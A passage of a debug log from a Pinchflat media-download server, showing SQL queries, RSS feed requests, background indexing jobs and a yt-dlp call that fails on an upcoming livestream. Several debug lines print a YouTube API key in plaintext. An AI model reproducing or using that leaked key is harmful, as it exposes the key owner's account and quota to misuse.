m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564145] 16:08:08.616 [info] Sent 200 in 12ms 16:08:08.953 [info] GET /sources/4893f34e-338f-4b8b-a53c-d58258d7b402/feed.xml 16:08:08.953 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4893f34e-338f-4b8b-a53c-d58258d7b402"} Pipelines: [:maybe_basic_auth] 16:08:08.953 [debug] QUERY OK source="sources" db=0.1ms idle=349.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4893f34e-338f-4b8b-a53c-d58258d7b402"] 16:08:08.955 [debug] QUERY OK source="media_items" db=2.0ms idle=346.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [10, 2000] 16:08:08.956 [debug] QUERY OK source="source_metadata" db=0.0ms idle=340.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [10] 16:08:08.956 [debug] QUERY OK source="media_metadata" db=0.0ms idle=340.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564148] 16:08:08.956 [info] Sent 200 in 3ms 16:08:09.521 [info] GET /sources/c265de63-c36a-4e88-bc51-2cf2504d420f/feed.xml 16:08:09.521 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c265de63-c36a-4e88-bc51-2cf2504d420f"} Pipelines: [:maybe_basic_auth] 16:08:09.521 [debug] QUERY OK source="sources" db=0.1ms idle=719.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c265de63-c36a-4e88-bc51-2cf2504d420f"] 16:08:09.522 [debug] QUERY OK source="media_items" db=0.3ms idle=568.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [43, 2000] 16:08:09.522 [debug] QUERY OK source="source_metadata" db=0.0ms idle=566.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [43] 16:08:09.522 [debug] QUERY OK source="media_metadata" db=0.0ms idle=566.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563756] 16:08:09.522 [info] Sent 200 in 1ms 16:08:27.801 [info] {"source":"oban","duration":8043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:08:57.810 [info] {"source":"oban","duration":7847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:00.999 [info] {"source":"oban","duration":518,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:09:27.821 [info] {"source":"oban","duration":10209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:09:57.833 [info] {"source":"oban","duration":10433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:01.000 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:10:27.843 [info] {"source":"oban","duration":10114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:10:32.960 [info] {"args":{"id":37},"id":3799880,"meta":{},"system_time":1770761432960425791,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:10:32.961 [debug] QUERY OK source="sources" db=1.3ms idle=82.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:10:32.962 [debug] QUERY OK source="settings" db=0.7ms idle=83.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:32.964 [debug] QUERY OK source="media_profiles" db=1.5ms idle=84.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:10:32.965 [debug] QUERY OK source="settings" db=1.2ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:32.965 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:10:32.965 [debug] QUERY OK source="settings" db=0.0ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:32.965 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:10:33.144 [debug] QUERY OK source="media_items" db=0.6ms idle=181.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 16:10:33.144 [debug] QUERY OK source="settings" db=0.0ms idle=182.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:33.145 [debug] QUERY OK source="settings" db=0.0ms idle=180.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:33.145 [debug] Running yt-dlp command for action: get_media_attributes 16:10:33.146 [debug] QUERY OK source="settings" db=0.0ms idle=180.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:33.146 [debug] QUERY OK source="settings" db=0.0ms idle=180.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:33.146 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:10:33.146 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ca/f4/caf4303e6b18c7c61ec03a02156812bbc234a85b0ff518eff18258721107a7e6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:10:34.568 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ca/f4/caf4303e6b18c7c61ec03a02156812bbc234a85b0ff518eff18258721107a7e6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours. 16:10:34.568 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours.\n", 1} 16:10:34.570 [debug] QUERY OK source="media_items" db=0.9ms idle=1424.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:10:34.571 [debug] QUERY OK source="tasks" db=0.1ms idle=616.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799919, 37, ~U[2026-02-10 22:10:34Z], ~U[2026-02-10 22:10:34Z]] 16:10:34.571 [info] {"args":{"id":37},"id":3799880,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1610864,"event":"job:stop","queue_time":18523,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:10:57.854 [info] {"source":"oban","duration":10281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:00.001 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:11:27.866 [info] {"source":"oban","duration":10753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:11:57.876 [info] {"source":"oban","duration":9882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:00.002 [info] {"source":"oban","duration":155,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:12:27.888 [info] {"source":"oban","duration":10752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:57.896 [info] {"source":"oban","duration":8340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.003 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:13:27.907 [info] {"source":"oban","duration":9893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:57.915 [info] {"source":"oban","duration":7537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.004 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:14:27.924 [info] {"source":"oban","duration":7723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:57.931 [info] {"source":"oban","duration":7585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.005 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:15:04.582 [info] GET /sources/c299bcbc-8900-4aab-a003-f3e99352d063/feed.xml 16:15:04.582 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c299bcbc-8900-4aab-a003-f3e99352d063"} Pipelines: [:maybe_basic_auth] 16:15:04.583 [debug] QUERY OK source="sources" db=0.4ms idle=704.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c299bcbc-8900-4aab-a003-f3e99352d063"] 16:15:04.592 [debug] QUERY OK source="media_items" db=8.4ms idle=705.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 16:15:04.593 [debug] QUERY OK source="source_metadata" db=0.1ms idle=715.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 16:15:04.593 [debug] QUERY OK source="media_metadata" db=0.0ms idle=715.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564180] 16:15:04.594 [info] Sent 200 in 11ms 16:15:27.939 [info] {"source":"oban","duration":7511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:57.948 [info] {"source":"oban","duration":7779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:16:00.006 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:16:19.311 [info] {"args":{"id":6},"id":3799881,"meta":{},"system_time":1770761779311440614,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:19.311 [info] {"args":{"id":19},"id":3799882,"meta":{},"system_time":1770761779311501214,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:16:19.314 [debug] QUERY OK source="sources" db=2.6ms idle=1433.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:16:19.315 [debug] QUERY OK source="sources" db=4.0ms idle=1433.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:16:19.317 [debug] QUERY OK source="settings" db=2.4ms idle=1010.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.317 [debug] QUERY OK source="settings" db=1.5ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.317 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:19.317 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:16:19.317 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.317 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.317 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:16:19.317 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 16:16:19.317 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.317 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:19.318 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:16:19.318 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:16:19.462 [debug] QUERY OK source="media_items" db=0.6ms idle=143.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", 